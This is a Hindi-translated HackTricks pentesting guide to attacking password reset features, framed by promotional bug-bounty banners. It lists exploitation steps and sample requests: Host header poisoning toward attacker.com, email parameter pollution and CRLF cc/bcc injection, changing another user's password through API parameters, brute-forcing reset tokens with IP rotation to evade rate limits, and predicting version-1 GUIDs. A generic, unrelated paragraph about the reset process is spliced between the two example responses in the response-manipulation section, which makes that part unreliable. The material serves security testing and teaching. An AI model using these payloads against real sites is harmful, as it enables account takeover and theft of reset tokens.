hacktricks/pentesting-web/reset-password.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

27 KiB

रीसेट/भूल गए पासवर्ड को दूर करना

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
  • The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह।
  • आधिकारिक PEASS & HackTricks swag प्राप्त करें।
  • 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का पालन करें।**
  • अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके अपने हैकिंग ट्रिक्स साझा करें।

HackenProof में सभी क्रिप्टो बग बाउंटी होम है।

देरी के बिना पुरस्कार प्राप्त करें
HackenProof बाउंटी केवल तब शुरू होती हैं जब उनके ग्राहक इनाम बजट जमा करते हैं। बग सत्यापित होने के बाद आपको इनाम मिलेगा।

Web3 पेंटेस्टिंग में अनुभव प्राप्त करें
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! उनके उभरते दिनों में web3 सुरक्षा को मास्टर करें।

Web3 हैकर लीजेंड बनें
प्रतिपूर्ण बग के साथ प्रतिष्ठा अंक प्राप्त करें और साप्ताहिक लीडरबोर्ड के शीर्ष पर विजयी बनें।

HackenProof पर साइन अप करें और अपने हैक्स से कमाई करें!

{% embed url="https://hackenproof.com/register" %}

निम्नलिखित तकनीकों का पुनर्संचयन https://anugrahsr.github.io/posts/10-Password-reset-flaws/ से किया गया था।

पासवर्ड रीसेट टोकन रेफरर के माध्यम से लीक

HTTP रेफरर एक ऐचटीटीपी हेडर फ़ील्ड है जो वेबपेज का पता बताता है जिससे अभियांत्रिकी की जा रही संसाधन के साथ जुड़ा है। रेफरर अनुरोध हेडर में उन वेबपेज का पता होता है जिससे वर्तमान में अनुरोधित पेज के लिए एक लिंक किया गया था।

शोषण

  • अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें
  • पासवर्ड रीसेट लिंक पर क्लिक करें
  • पासवर्ड नहीं बदलें
  • किसी तीसरे पक्ष की वेबसाइटों पर क्लिक करें (उदा। Facebook, Twitter)
  • बर्पस्यूट प्रॉक्सी में अनुरोध को अवरोधित करें
  • देखें कि क्या रेफरर हेडर पासवर्ड रीसेट टोकन को लीक कर रहा है।

प्रभाव

इससे व्यक्ति जिसके पास विशेष साइट का नियंत्रण है, उपयोगकर्ता का पासवर्ड बदल सकता है (CSRF हमला), क्योंकि इस व्यक्ति को उपयोगकर्ता का रीसेट पासवर्ड टोकन पता होता है।

संदर्भ:

पासवर्ड रीसेट पॉइज़निंग

यदि आपको होस्ट हेडर हमला मिलता है और यह स्कोप से बाहर है, तो पासवर्ड रीसेट बटन ढूंढ़ने का प्रयास करें!

शोषण

  • बर्पस्यूट में पासवर्ड रीसेट अनुरोध को अवरोधित करें
  • निम्नलिखित हेडर जोड़ें या बर्पस्यूट में हेडर संपादित करें (एक-एक करके प्रयास करें)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
  • जांचें कि ईमेल में पासवर्ड बदलने के लिए लिंक attacker.com को पॉइंट कर रहा है।

पैच

$_SERVER['HTTP_HOST'] की बजाय $_SERVER['SERVER_NAME'] का उपयोग करें।

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";

प्रभाव

पीड़ित व्यक्ति अपने ईमेल में दुष्ट लिंक प्राप्त करेगा और जब वह क्लिक करेगा, तो उपयोगकर्ता का पासवर्ड रीसेट लिंक / टोकन हमलावर्धक को लीक हो जाएगा, जिससे पूर्ण खाता हासिल होगा।

संदर्भ:

ईमेल पैरामीटर को मार्गनिर्धारण करके पासवर्ड रीसेट

शोषण

  • & का उपयोग करके हमलावर्धक ईमेल को दूसरे पैरामीटर के रूप में जोड़ें
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें, %20 का उपयोग करें
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें, cc के रूप में।
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • द्वितीय पैरामीटर के रूप में हमलावर्ती ईमेल जोड़ें, bcc का उपयोग करके
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें, ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • जेसोन एरे में दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

संदर्भ

API पैरामीटर के माध्यम से किसी भी उपयोगकर्ता के ईमेल और पासवर्ड को बदलना

शोषण

  • हमलावर को अपने खाते से लॉगिन करना होगा और पासवर्ड बदलने के लिए चेंज पासवर्ड कार्य करना होगा
  • Burp Suite शुरू करें और अनुरोध को अवरोधित करें
  • अनुरोध को अवरोधित करने के बाद उसे repeater में भेजें और पैरामीटर ईमेल और पासवर्ड को संशोधित करें
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

संदर्भ

कोई रेट सीमा नहीं: ईमेल बॉम्बिंग

शोषण

  • बर्प स्वचालित शुरू करें और पासवर्ड रीसेट अनुरोध को अवरोधित करें
  • इंट्रूडर को भेजें
  • शून्य पेलोड का उपयोग करें

संदर्भ

पासवर्ड रीसेट टोकन कैसे उत्पन्न होता है यह जानें

पासवर्ड रीसेट टोकन के पैटर्न को समझें

यदि यह

  • टाइमस्टैम्प पर आधारित उत्पन्न होता है
  • उपयोगकर्ता के यूज़रआईडी पर आधारित उत्पन्न होता है
  • उपयोगकर्ता के ईमेल पर आधारित उत्पन्न होता है
  • पहले नाम और अंतिम नाम पर आधारित उत्पन्न होता है
  • जन्मतिथि पर आधारित उत्पन्न होता है
  • एन्क्रिप्टिक्रिप्टी पर आधारित उत्पन्न होता है

टोकन की यादृच्छिकता या पूर्वानुमानित करने के लिए बर्प सीक्वेंसर का उपयोग करें।

अनुमान लगाने योग्य GUID

विभिन्न प्रकार के GUID होते हैं:

  • संस्करण 0: केवल शून्य GUID में देखा जाता है ("00000000-0000-0000-0000-000000000000")।
  • संस्करण 1: GUID एक पूर्व-निर्धारित तरीके से उत्पन्न होता है जिसमें:
  • वर्तमान समय
  • एक यादृच्छिक रूप से उत्पन्न "घड़ी अनुक्रम" जो उत्पन्न करने वाले सिस्टम के उपयोग के दौरान GUID के बीच स्थायी रहता है
  • एक "नोड आईडी", जो सिस्टम के MAC पते पर आधारित उत्पन्न होता है यदि यह उपलब्ध है
  • संस्करण 3: GUID एक प्रदान किए गए नाम और नेमस्पेस के MD5 हैश का उपयोग करके उत्पन्न होता है।
  • संस्करण 4: GUID यादृच्छिक रूप से उत्पन्न होता है।
  • संस्करण 5: GUID एक प्रदान किए गए नाम और नेमस्पेस के SHA1 हैश का उपयोग करके उत्पन्न होता है।

GUID को देखकर उसका संस्करण जाना संभव है, इसके लिए एक छोटा उपकरण है: guidtool****

guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426

यदि रीसेट पासवर्ड GUID उत्पन्न करने के लिए उपयोग की गई संस्करण 1 है, तो GUIDS को ब्रूटफोर्स किया जा सकता है:

guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c

संदर्भ

प्रतिक्रिया मानिपुरण: बुरी प्रतिक्रिया को अच्छी प्रतिक्रिया से बदलें

इस तरह के अनुरोध और प्रतिक्रिया की तलाश करें

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

रीसेट पासवर्ड

जब एक उपयोगकर्ता अपना पासवर्ड भूल जाता है, तो उन्हें अपना पासवर्ड रीसेट करने की आवश्यकता होती है। इसके लिए वेब ऐप्लिकेशनों में एक "पासवर्ड रीसेट" कार्रवाई होती है। इस कार्रवाई के दौरान, उपयोगकर्ता को एक रीसेट लिंक या टोकन द्वारा पहुंच दिया जाता है, जिसका उपयोग करके वे अपना पासवर्ड बदल सकते हैं।

यह प्रक्रिया आमतौर पर निम्नलिखित चरणों का पालन करती है:

  1. उपयोगकर्ता अपना ईमेल आईडी दर्ज करता है और "पासवर्ड रीसेट" या समर्थित बटन पर क्लिक करता है।
  2. वेब ऐप्लिकेशन उपयोगकर्ता के ईमेल पते पर एक रीसेट लिंक या टोकन भेजता है।
  3. उपयोगकर्ता अपने ईमेल खाते की जांच करता है और रीसेट लिंक पर क्लिक करता है।
  4. उपयोगकर्ता को एक पासवर्ड रीसेट पेज पर निर्देशित किया जाता है, जहां वे अपना नया पासवर्ड दर्ज कर सकते हैं।
  5. उपयोगकर्ता नया पासवर्ड दर्ज करता है और उसे सत्यापित करने के लिए दोबारा दर्ज करता है।
  6. वेब ऐप्लिकेशन नया पासवर्ड स्वीकार करता है और उपयोगकर्ता के खाते का पासवर्ड बदल देता है।

इस प्रक्रिया के दौरान, सुरक्षा के महत्वपूर्ण मामलों का ध्यान रखना आवश्यक होता है। उपयोगकर्ता के ईमेल पते की पुष्टि करने के लिए विशेषता, रीसेट लिंक या टोकन की मान्यता की जांच, और पासवर्ड की मजबूती की जांच शामिल होती है। इसके अलावा, रीसेट लिंक की समय सीमा और उपयोगकर्ता के खाते की सुरक्षा को बढ़ाने के लिए अतिरिक्त सुरक्षा उपाय भी लिए जा सकते हैं।

HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)

संदर्भ

समाप्त हो चुके टोकन का उपयोग करें

  • जांचें कि क्या संदिग्ध टोकन का पुनः उपयोग किया जा सकता है

पासवर्ड रीसेट टोकन को ब्रूटफोर्स करें

Burpsuite का उपयोग करके रीसेट टोकन को ब्रूटफोर्स करने का प्रयास करें

POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
  • आईपी-रोटेटर का उपयोग करें burpsuite पर आईपी आधारित रेटलिमिट को बाइपास करने के लिए।

संदर्भ

अपने टोकन का प्रयोग करने की कोशिश करें

  • पीड़ित के खाते में अपने पासवर्ड रीसेट टोकन को जोड़ने की कोशिश करें।
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$

संदर्भ

लॉगआउट/पासवर्ड रीसेट में सत्र अमान्यकरण

जब एक उपयोगकर्ता लॉगआउट करता है या अपना पासवर्ड रीसेट करता है, तो मौजूदा सत्र को अमान्य कर देना चाहिए।
इसलिए, उपयोगकर्ता लॉगइन होते समय कुकीज़ को ग्रहण करें, लॉगआउट करें, और देखें कि क्या कुकीज़ अब भी मान्य हैं।
लॉगआउट करने की बजाय पासवर्ड बदलते समय यह प्रक्रिया दोहराएं।

रीसेट टोकन समय सीमा

रीसेट टोकन को समय सीमा होनी चाहिए, इसके बाद टोकन एक उपयोगकर्ता के पासवर्ड बदलने के लिए मान्य नहीं होना चाहिए।

अतिरिक्त जांचें

  • उपयोगकर्ता नाम@burp_collab.net का उपयोग करें और कॉलबैक विश्लेषण करें
  • उपयोगकर्ता कार्बन कॉपी ईमेल=victim@mail.com%0a%0dcc:hacker@mail.com
  • लंबा पासवर्ड (>200) DoS के लिए लीड करता है
  • दूसरे ईमेल पैरामीटर और मान जोड़ें

HackenProof सभी क्रिप्टो बग बाउंटी के लिए घर है।

देरी के बिना पुरस्कार प्राप्त करें
HackenProof बाउंटी केवल तब शुरू होती हैं जब उनके ग्राहक इनाम बजट जमा करते हैं। आपको इनाम उस बग को सत्यापित करने के बाद मिलेगा।

वेब3 पेंटेस्टिंग में अनुभव प्राप्त करें
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! इसके उभरते दिनों में वेब3 सुरक्षा को मास्टर करें।

वेब3 हैकर लीजेंड बनें
प्रत्येक सत्यापित बग के साथ प्रतिष्ठा अंक प्राप्त करें और साप्ताहिक लीडरबोर्ड के शीर्ष पर विजयी बनें।

HackenProof पर साइन अप करें और अपने हैक्स से कमाई करें!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥